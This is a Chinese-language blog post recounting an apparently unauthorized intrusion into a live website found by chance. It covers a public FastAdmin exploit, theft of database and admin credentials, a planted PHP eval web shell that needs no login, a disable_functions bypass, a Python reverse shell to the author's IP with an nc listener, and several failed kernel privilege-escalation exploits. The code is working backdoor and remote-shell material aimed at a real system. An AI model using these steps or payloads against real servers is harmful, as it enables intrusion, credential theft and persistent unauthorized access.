前言

某日从“X”意外发现一个XX盘,心血来潮就测试搞一搞。

GetShell尝试

通过抓包发现API请求内容是中文,有搞头!

找到一个API地址:index/index/news?news_id=123

路径加单引号报错:404,通过UI样式发现是fastadmin框架

直接用FastAdmin-exp开测:https://github.com/3xsh0re/FastAdmin-exp

漏洞存在,拿到数据库账号密码,刚好服务器对外开放3306端口,且开启了debug模式,可以查看服务器真实ip,天时地利人和

登录数据库查看admin_log表,拿到后台登录地址,查看admin表,拿到账号密码

登录后找到插件管理,安装EditPage开发辅助工具插件:https://www.fastadmin.net/store/editpage.html

随便找个页面,编辑当前页面的Controller,新建个函数插入一句话,并允许无需登录和鉴权

<?php
protected $noNeedLogin = ['test'];
protected $noNeedRight = ['test'];
public function test() {
    @eval($_POST['shell']);
}

蚁剑连接测试,成功

提权尝试

使用虚拟终端,测试命令返回ret=127,没权限

使用蚁剑插件市场的绕过 disable_functions插件,尝试了多个模式,PHP7 Backtrace UAF可用

反弹python脚本开整:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ip地址",8988))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

本地监听:sudo nc -lvp 8988

反弹shell成功,但是www权限,准备提权

尝试CVE-2021-4034https://github.com/berdav/CVE-2021-4034

将编译好的提权文件上传执行发现报错:

gcc: error trying to exec ‘cc1‘: execvp: No such file or directory

解决方法:

find / -name cc1
export PATH=$PATH:/usr/libexec/gcc/x86_64-redhat-linux/4.8.2/

提权失败

Dirty Cowhttps://github.com/Pa55w0rd/dirtycow

继续失败

Dirty Pipehttps://github.com/r1is/CVE-2022-0847

继续失败

CVE-2016-0728https://github.com/SecWiki/linux-kernel-exploits/tree/master/2016/CVE-2016-0728

等了一个多小时都没反应,放弃

拉倒了,就这样吧

Linux 11-1-2 3.10.0-1160.71.1.el7.x86_64

我记住你了

最后修改:2024 年 10 月 14 日
如果觉得我的文章对你有用,请随意赞赏